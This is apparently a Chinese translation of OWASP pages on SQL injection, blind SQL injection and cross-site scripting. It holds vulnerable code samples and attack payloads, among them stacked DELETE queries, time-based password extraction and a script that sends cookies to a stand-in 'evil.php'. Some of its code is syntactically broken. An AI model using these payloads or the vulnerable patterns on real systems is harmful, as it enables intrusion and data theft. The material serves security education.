Attack(OWASP翻译1)

攻击活动

SQL(结构化查询语言)注入

概述

一个SQL注入攻击包含了从应用客户端的输入数据中注入或嵌入的方式,一个成功的SQL注入利用可以从数据库读取敏感信息,修改数据库数据(Insert/Update/Delete语句),对数据库进行管理员权限操作(比如关闭数据库管理系统),恢复数据库管理系统上特定文件的内容,并在某些情况下向操作系统发出命令。SQL注入攻击是注入攻击的一种类型,在这种攻击中,SQL命令被嵌入到数据层面的输入以执行默认的SQL语句。

威胁建模
  • SQL注入攻击能让攻击者混淆身份,篡改已有数据,造成空转账或改变账户余额的账目混乱问题,能使系统全部数据暴露,损坏数据或者让数据不可用,甚至变成数据库的管理者。
  • SQL注入在PHP和ASP应用中非常普遍,因为老旧的功能接口很普遍。因为编程接口很自然地获得,J2EE和ASP.NET 应用存在SQL注入的可能性就少一些。
  • SQL注入攻击的后果严重性是由攻击者的技术和想象力决定的,而且在小范围内,深度对抗,比如低特权的数据库连接等。通常来说,将SQL注入看作一个较高影响度的攻击类型。
描述

SQL注入错误发生在:

  1. 数据从不信任源进入系统时
  2. 数据被用来构造一个动态的SQL查询语句
    主要的影响是:
  • 机密性:因为SQL数据库通常保存着敏感数据,所以降低机密性是SQL注入漏洞导致的高频问题
  • 身份认证:如果检查用户名和密码的SQL命令太过简单,那可能会出现不需要密码权限就进入系统的问题
  • 授权:如果SQL数据库保存着授权信息,那可能通过成功的利用SQL注入漏洞改变这一认证授权信息
  • 完整性:正因为可能会读取敏感信息,所以也可能会通过这一攻击改变甚至删除这一信息
风险因素

被攻击的平台:
- 数据库语言:SQL
- 平台:任何平台(需要能与SQL数据库交互)
SQL注入已经成为使用数据库的网站的普遍问题,这个缺陷很容易被发现,也很容易被利用,而且,任何仅仅有很少用户的网站或软件包都可能会被攻击。
本质上来讲,这个攻击是由于将本不存在的元字符从控制台放入数据输入流中造成的,这个攻击依赖于SQL语句在控制和数据域中没有做区别。

示例

示例1
假如SQL语句:

select id, firstname, lastname from authors

加入提供的输入:

Firstname: evil'ex
Lastname: Newman

查询语句变成:

select id, firstname, lastname from authors where forename = 'evil'ex' and surname = 'newman'

数据库可能会出现这样的结果:

Incorrect syntax near il' as the database tried to execute evil.

一个Java语言的关于SQL语句的版本可以是这样:

String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
//FIXME: do your own validation to detect attacks
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, firstname);
pstmt.setString(2, lastname);
try
{
    ResultSet results = pstmt.execute();
}

示例2
下面的C#代码动态地构造和执行一个匹配特殊名称的SQL语句。该查询将显示的项目限制为所有者与当前验证的用户的用户名相匹配的项目。

string userName = ctx.getAuthenticateUserName();
string query = "SELECT * FROM items WHERE owner = "'"
+userName +"' AND itemname = '" + ItemName.Text +"'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);

这个查询代码意图执行的是下面语句:

SELECT * FROM items WHERE owner = 
AND itemname = ;

然而,因为这个查询动态地将固定的基本查询字符串和用户输入字符串链接构造的查询语句,所以这个查询仅仅在itemName不包含单引号时表现正确。如果一个攻击者将用户名输入字符串变成"name' OR 'a'=a" ,那么这个查询将成为下面这个样子:

SELECT * FROM items WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';

这个OR 'a'='a'语句造成这个where语句永远是真,所以查询逻辑上变成了下面这样的简单查询:

SELECT * FROM items;

这个简单的查询允许攻击者绕过查询仅仅返回已经身份认证的用户的查询;而这个查询现在返回所有存储在items表中的数据,而不论它们的拥有者是谁。

示例3
这个查询测试不同的恶意代码造成的在示例1中结构化查询和执行的影响。如果一个攻击者以name');DELETE FROM items;--的字符串作为itemName攻击进入了系统,那么查询就变成了下面这两个查询:

SELECT * FROM items WHERE owner = 'hacker'
AND itemname = 'name';
DELETE FROM items;
--'

许多数据库,包括微软SQL Server 2000,允许多个以分号分割的SQL语句同时执行,反而这个攻击字符串会在不允许一次执行多条语句的数据库如Oracle等程序里出错。许多数据库会允许批处理执行,这一类型的攻击将使攻击者执行恶意命令损害数据库。
注意到上面查询语句最后的连字符(--),在许多数据库里,连字符后面的语句被看做注释而不执行。在这个例子中,注释把最后的单引号注视掉了。在不允许这样注释的数据库服务软件里,同样的攻击可以被执行通过运用简单的类似示例1的欺骗技巧。如果一个攻击者输入字符串name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a,下面的三个合法语句将被创建:

SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

一个传统的预防SQL注入攻击的方法是将之看作一个输入合法性的问题,仅仅接收在白名单里的安全值,或者不接受在可能造成攻击的黑名单里的数据输入。白名单可以是很有效的强制脚本输入验证规则的方式,但参数化的SQL语句需要更少的维护,并能通过重视安全取得成果。对于最广泛最普通的例子,黑名单则有许多不能顾及到的情况而更低效于防止SQL注入攻击。例如,攻击者可以:

  • 对没有引号的域关注
  • 找到绕过需要确定的溢出元数据的方式
  • 用存储的程序来隐藏注入的元数据
    手动将SQL查询的输入字符转码是有帮助的,但并不能使你的应用从SQL注入攻击中获得安全。

另一个通常提起的解决SQL注入攻击的方案是用存储过程。尽管存储过程也能防止一些类型的SQL注入攻击,但还有一些不能防御。比如,下面的PL/SQL 过程就和第一个例子中的SQL注入攻击是相同的漏洞:

    procedure get_item(
        item_cv IN OUT ItemCurTyp,
        usr in varchar2,
        item in varchar2)
    is
        open item_cv for 'SELECT * FROM items WHERE' ||
                'owner = '"|| usr || 
                'AND itemname = "' || item || "";
    end get_item;

存储过程典型地通过限制可能被以参数传递的SQL语句类型来预防SQL注入,然而,有许多绕过边缘限制的许多有趣的SQL语句也可以绕过存储过程。总之,存储过程可以防止一些类型的SQL注入攻击,但并不能保证你的应用完全可以免受SQL注入的危害。

盲注SQL注入

概述

盲SQL(结构化查询语言)注入是SQL注入攻击的一种,通过观察数据库查询真或假的问题的响应来决定攻击行为。这一攻击行为经常导致web应用报错,但并没有使漏洞代码免受SQL注入的攻击。
当一个攻击者利用SQL注入漏洞时,一些web应用会因为SQL查询语句语法错误而报错。盲注和基本的SQL注入其实本质上一样,唯一的不同是从数据库返回的数据方式。当一个数据库并不向web页面输出数据时,一个攻击者不得不向数据库询问真或假的问题来偷取数据。这让SQL注入攻击更加麻烦,但并非不可能。

威胁建模

与SQL注入相同

风险因素

和SQL注入一样

示例

一个攻击者可能会变,但查询语句却答题时以下几种方式:

基于内容的盲注
运用简单的页面,根据给定的ID作为参数显示一个文章,攻击者可以进行几组简单测试来判断页面是否是存在SQL注入漏洞。示例URL:

http://newspaper.com/items.php?id=2

将向数据库发送下面的查询语句

SELECT title, description, body FROM items WHERE ID = 2

现在SQL查询语句可以变成这样:

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

如果web应用存在SQL注入漏洞,那么可能不会返回任何数据。为了确定,攻击者将注入一个将返回“真”的查询语句:

http://newspaper.com/items.php?id=2 and 1=1

如果这次“真”的返回结果和上次“假”的返回结果不一样,那么攻击者就可以辨别查询语句什么时候返回真,什么时候返回假了。一旦这被证实,唯一的限制将是被数据库管理员设置的权限,不同的SQL语句,和攻击者的想象力。

基于时间的盲注
这一类型的盲注取决于数据库将停滞的短暂时间,然后才返回数据,暗示了成功的SQL查询执行了。运用这一方法,攻击者使用以下逻辑枚举所需片段的每个字母:

  • 如果第一个数据库的名字第一个字母是'A',等待10秒
  • 如果第一个数据库的名字第一个字母是'B',等待10秒,等等。
    微软SQL Server数据库:
http://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10' --

Mysql:

SELECT IF(expression, true, false)

用一些需要花费时间的操作,如BENCHMARK(),如果表达正确这将延迟服务器的响应。

BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds'))

将执行ENCODE函数5000000次。
取决于数据库服务器的表现和加载速度,应该值花费一点时间就可以完成这个操作。重要的事情是,从攻击者的角度看,以一个极大的数量级来重复执行函数BENCHMARK(),会导致数据库响应明显延迟一些。
两者合并的示例查询:

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

如果数据库在很长时间后才响应,我们可能猜测第一个id是1的用户密码字符应该是'2'

(CHAR(50) == '2')

运用这个方法对剩余字符进行处理,可能就会获取整个数据库里的密码。这个方法甚至可以在攻击者进行SQL注入时不改变页面的内容。
显然,在这个例子中,表的名称,和表中列的数量是指定的。然而,去猜测列数或者通过试验或错误检测的方法来猜测也是可能的。
除了MySQL的其他数据库也有基于时间的函数,可以允许用来进行基于基于时间的攻击:

  • 微软SQL数据库"WAIT FOR DELAY '0:0:10"
  • PostgreSQL - pg_sleep()函数
    手工进行SQL盲注攻击会很费时,但有很多自动化实现这一过程的工具。其中一个就是SQLMap(http://sqlmap.org/)部分由OWASP授予程序开发。另一方面,这类工具对甚至很小的规则偏差都很敏感。包括:
  • 扫描其他网站集群,在时间并没有同步时;
  • 万维网服务于论证获得方法改变时,比如 from /index.php?ID=10 to /ID, 10

远程数据库识别
如果攻击者能够决定他的查询返回真或假,那么他可能通过远程数据库管理系统的验证。这将使整个攻击变得更容易。如果基于时间的过程被用到,这一帮助将决定哪类数据库被用。另一个流行的方法是调用将返回当前数据的函数。MySQL, MSSQL,和Oracle对此有不同的方法,典型的是now(), getdate(), sysdate()

跨站脚本攻击(XSS)

概述

跨站脚本攻击是一类注入攻击,将恶意脚本注入到受信任的良好的站点。XSS攻击出现在当攻击者用web应用传播恶意代码的时候 ,通常以面向不同终端用户的浏览器边缘代码的方式存在。这种缺陷在web应用接收用户输入而不验证或者编码就直接输出的情况下出现在非常广泛和普遍的地方。
一个攻击者可以运用XSS技术将恶意代码发送给无防备的用户。而终端用户的浏览器没有办法知道脚本是否值得信任,而直接执行代码。因为他认为脚本来源于可信任的源,恶意脚本可以获取任何cookie,session的token,或者其他重要而敏感的存储于浏览器和用户站点的信息。这些脚本甚至能重写页面的HTML代码。

描述

跨站脚本攻击(XSS)发生在这些时候:
1. 数据来源渠道不可信,web请求更频繁
2. 数据包含于动态内容中,没有经过合法性验证和恶意代码检测就发送给web用户
这些发送给web浏览器的恶意内容通常是JavaScript代码的形式,但也可能会包含HTML,Flash等其他能被浏览器执行的代码。基于XSS的攻击形式几乎是无限制的,但通常包含传送私有数据,像cookies或session信息,给攻击者,将受害者引向被攻击者控制的web内容,或者在漏洞网站的伪装下在用户机器上执行其他恶意操作。

存储型和反射型XSS攻击

XSS攻击通常被分为两类:存储型和反射型。第三种不太出名的XSS攻击叫做:基于DOM的XSS。

存储型XSS攻击

存储型XSS攻击是指嵌入的代码被永久存储在目标服务器中,如数据库,消息论坛,访问日至,评论区等。受害者在请求存储的信息时将恶意脚本从服务器取出,存储型XSS有时也被叫做永久性或I类XSS。

反射型XSS攻击

反射型XSS攻击指的是注入的代码被直接从web服务器里反射回的情况,像一个错误信息,搜索结果,或者其他包含部分或所有输入数据的响应结果。反射型XSS以其他方式传递给用户:比如一个邮件信息,或者放在其他站点上。当用户被欺骗去点击这一恶意链接时,会提交一个特殊的精心制作的请求,或者仅仅导向一个恶意站点,然后恶意代码就会被传送到漏洞网站,把攻击结果反射回用户浏览器。浏览器然后执行这些代码,因为代码来源于“受信任”的网站。反射型XSS有时也被称为非持久型或者II类XSS。

其他XSS类型

除了存储型和反射型XSS,另一种XSS,基于DOM的XSS在2005年由Amit Klein定义提出。OWASP在这一目录下介绍这一类型XSS(https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting),这里面包含了所有的XSS种类,包括存储型,反射型,服务端VS客户端型,而基于DOM的XSS就是客户端XSS的一类。

XSS攻击影响
XSS的影响是相同的,无论是存储型还是反射型(甚至或者基于DOM型的)。不同点只在于怎样到达服务器。不要傻傻的去认为“只读”或者“小册子”型的站点是不会遭受XSS攻击的。XSS可以通过多种方式来对用户造成一些列问题。最严重的XSS攻击包括用户session cookie信息泄露,被攻击者劫持甚至控制账户。其他恶意破坏行动比如用户文件披露,木马程序的安装,网页恶意重定向,展示信息的修改。一个XSS漏洞允许攻击者修改发布信息或者新闻来影响公司股价甚至减少公众信心。一个药品网站上的XSS漏洞可能导致攻击者修改药品用量信息从而导致用药过量的问题。更多此类信息可看这里(https://www.owasp.org/index.php/Content_Spoofing

怎样确定存在XSS漏洞
在web应用中识别XSS缺陷并解决是比较困难的,最好的寻找缺陷的方式是进行代码安全审查,并仔细搜索从HTTP请求中输入并输出的数据路径。要知道有很多中HTML标签可以用来传播恶意JavaScript代码。Nessus, Nikto,和其他一些工具可以扫描这些缺陷,但仅仅只是扫描个皮毛。如果网站的某一方面有漏洞,那么其他方面有漏洞的可能会很大。

如何保护自己
首选的防御XSS攻击论述,可以看这里“OWASP XSS 防御细则”(https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
同时,将所有网站关闭HTTP跟踪支持是非常关键的。攻击者甚至可以在document.cookie被禁用时通过Javascript获取cookie.这一攻击在用户从论坛点击链接从而发送恶意代码开始,一个异步HTTP轨迹跟踪就被触发了,同时服务器的用户cookie信息也会被跟踪;然后收集的cookie信息将被攻击者发送到另一个恶意服务器上,以使攻击者发动session劫持攻击。这些威胁可以简单地通过关闭服务器的HTTP追踪支持来避免。

变换多样的XSS语法
XSS用Script作为属性

XSS攻击可能不会借助<script></script>标签,其他标签也可能导致XSS:

<body onload=alert('test1')>

或者其他类似onmouseover, onerror的属性
onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

![](http://url.to.file.which/not.exist)
XSS通过URI编码包含脚本

如果我们需要逃避web应用的过滤,我们可以利用编码转换,如:a=&#X41(UTF-8)并将之用在IMG 标签里:

<IMG SRC=j&#X41vascript:alert('test2')>

有许多种不同的UTF-8编码符号,可以给与我们更多的可能性。

XSS运用代码编码

我们可以把我们的脚本编码成base64格式并将之放进META标签里。通过这一方式我们完全摒弃alert()。更多的信息可以参考RFC 2397(https://tools.ietf.org/html/rfc2397

<META HTTP-EQUIV="refresh"
CONTENT="o;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXBoPg">

这些等其他例子可以在这里找到:OWASP XSS Filter Evasion Cheat Sheet(https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet),这是真的交换的XSS语法攻击的百科全书。

示例

跨站脚本攻击可能发生在任何可能由恶意用户上传未经审查和通过的代码到信任网站上以至于合法用户访问的情境下。这一最常见的例子可以再提供基于web邮件列表样式功能的公告板网站中找到。

示例1

下面的JSP代码片段从一个HTTP请求中读取一个员工ID,eid,然后将其现实给用户:

<% String eid= request.getParameter('eid');%>
...
Employee ID:<%=eid%>

这个示例中的代码在eid表示标准字母文本的情况下会正确执行。如果eid的值包含了元字符或者源代码,那么代码将被web浏览器以HTTP响应的方式执行。
刚开始时,这可能并不会有多少漏洞。毕竟,为什么有人输入一个URL就会使恶意代码在自己的电脑里运行?真正的危险是一个攻击者将创建恶意URL,然后用e-mail或者社会工程学方法欺骗受害者访问指向这一URL的链接。当被攻击者点击链接时,他们就不知不觉得将恶意代码通过漏洞网站下载到了自己的电脑里。这以利用机制被称作反射型XSS。

示例2

下面的JSP代码片段向数据库查询给定员工ID的响应员工的姓名并打印出来:

<%... 
     Statement stmt = conn.createStatement();
     ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
     if (rs != null) {
      rs.next(); 
      String name = rs.getString("name");}
    %>
    Employee Name: <%= name %>

如示例1一样,这一代码的函数是正常的当值是正常时,但它预防可能存在的危险没有预防。又一次,这段代码可以因为姓名的值是从数据库读取的而更安全,而数据库的数据是由应用管理的。然而,如果姓名值起源于用户支持的数据,那么数据库可能会成为连接恶意内容的导管。对存储在数据库里的数据没有正确的输入验证,攻击者就可以在用户浏览器中执行恶意命令。这种利用方式,被称为存储型XSS,是尤其阴险的,因为间接的数据存储使得识别威胁和风险更难,也可能会增加攻击影响的用户数量。XSS最初是在网站给用户留下的“留言板”的形式形成的。攻击者把他们的JavaScript代码添加进留言版内容里,而后所有访问这一留言板的用户都会执行这一恶意代码。
正如示例展示的一样,XSS漏洞是由包含没有验证的数据的HTTP请求造成的。有三种XSS影响用户的方式:

  • 正如示例1,数据由HTTP请求直接获取并直接由HTTP响应返回。反射型XSS攻击发生在攻击者使用户在漏洞网站的web应用里执行恶意内容,然后返回给用户并被浏览器执行时。最常见的发表恶意内容的方式是将其放在URL参数里,公开发表或者通过邮件发送给受害者。这种方式构造的URL是许多钓鱼方式的核心,攻击者欺骗受害者通过此URL访问漏洞站点。在站点将攻击者内容呈献给用户的时候,恶意内容就已经执行,并且向攻击者收集了私密信息,如可能包含会话信息的cookies,从用户的机器传递到攻击者,或者造成其他危险活动。
  • 正如示例2,应用程序在数据库里或其他数据仓库里存储危险数据。这些危险数据随后会被读取返回给应用并在动态内容里展现。存储型XSS利用发生在攻击者注入危险代码到数据仓库,而后被读取并展现给动态内容时。从攻击者的角度来看,最初的适合注入恶意代码的地方是显示给许多用户或者特定有兴趣的用户的区域。有趣的用户往往在应用中拥有较高的权限,或者可以操作对攻击者很有价值的数据。如果这样的用户有一个执行了恶意的代码,那么攻击者可能就会获得应用特权的操作或者取得属于用户的敏感信息。
  • 数据库或者其他数据存储源外的应用存储着危险数据,然后危险数据随后被当作信任数据被取出到应用中动态地展示。

攻击示例

示例1:cookie获取

如果应用没有验证输入数据,攻击者可以容易地从已认证用户中偷取cookie。攻击者需要做的仅仅是将以下代码放在任何的post输入框里。(例如:私人消息,信息白板,用户档案):

<SCRIPT type="text/javascript">
var adr='../evil.php?cakemonster='+escape(document.cookie);
</SCRIPT>

上面的代码将转移的cookie内容(根据RFC,数据在通过HTTP协议的GET方法传递时必须转义)以“cakemonster”的变量形式传递给evil.php。攻击者然后检测他的evil.php的结果(一个cookie获取脚本通常会将cookie写入一个文件)并运用。
错误页示例
让我们假设我们有一个错误页面,它在用户请求不存在的页面时返回,一个典型的404错误页面。我们可能运用下面的代码作为示例,来通知用户什么页面丢失了:

<html>
<body>
<?php
    print "Not Found:".urldecode($_SERVER["REQUEST_URL"]);
?>
</body>
</html>

让我们看看它如何工作:

http://testsite.test/file_which_not_exist

我们得到的返回结果:

Not Found:/file_which_not_exist

现在我们将试着把我们的代码封装在此页面内:

http://testsite.test/<script>alert("TEST");</script>

结果是:

Not Found: /(but with JavaScript code <script>alert("TEST");</script>)

我们成功地将代码注入了,我们的XSS!什么意思?比如,我们可以利用这种方式来偷取用户的会话cookie.

推荐阅读更多精彩内容